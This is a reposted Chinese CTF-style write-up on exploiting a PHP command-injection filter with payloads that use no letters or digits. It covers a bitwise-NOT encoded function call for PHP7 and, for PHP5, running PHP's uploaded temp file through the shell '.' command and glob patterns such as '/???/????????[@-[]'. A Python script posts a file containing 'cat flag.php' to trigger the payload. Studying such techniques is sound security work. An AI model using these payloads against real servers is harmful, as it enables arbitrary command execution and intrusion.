ICode9

精准搜索请尝试: 精确搜索
首页 > 系统相关> 文章详细

无数字字母构造webshell二

2021-11-08 11:04:05  阅读:161  来源: 互联网

标签:webshell 文件 字符 字母 构造 file 执行 可以 tmp


源代码如下

可以看到他过滤了$_
而且payload的长度不能超过35,针对这样的情况,P神也做出了解决

PHP7下简单解决问题

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式。

所以很简单了,构造一个可以生成phpinfo这个字符串的PHP表达式即可。payload如下(不可见字符用url编码表示):
(~%8F%97%8F%96%91%99%90)();

关于php5的解决

我们可以使用

shell下可以利用.来执行任意脚本
Linux文件名支持用glob通配符代替

来解决
.或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。

用. file执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行它了吗?

这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母,6个随机字符最后一个字符是大写的所以可以根据这个特性取glob取匹配

第二个难题接踵而至,执行. /tmp/phpXXXXXX,也是有字母的。此时就可以用到Linux下的glob通配符:

*可以代替0个及以上任意字符
?可以代表1个任意字符
那么,/tmp/phpXXXXXX就可以表示为/*/?????????或/???/?????????。
但我们尝试执行. /???/?????????却会爆错,这是因为用这样的方法匹配到的文件会很多
那么,我们可以利用[@-[]来表示大写字母

然后就可以进行任意命令执行了

整个攻击过程总结

  • 自己写一个文件上传的脚本,将我们含有要执行的命令的文件上传上去
  • 利用本来的命令执行漏洞打入我们的无字母字符的payload
  • 任意命令执行

这里的[@-[]是在ascii码中A-Z的一个临界这是glob支持的一种语法[^-]值的是不包含-的
你Post上去的文件默认是放在tmp/phpxxxxxx里面的最后一个字符一般为大写

这里放一个post文件的脚本

import requests
while True:
    url = "http://      /?c=. /???/????????[@-[]"

    r = requests.post(url, files={"file": ("dota.txt", "cat flag.php")})
    flag = r.text.split('flag')
    if len(flag) >1:
        print(r.text)
        break

标签:webshell,文件,字符,字母,构造,file,执行,可以,tmp
来源: https://www.cnblogs.com/iwantflag/p/15523170.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有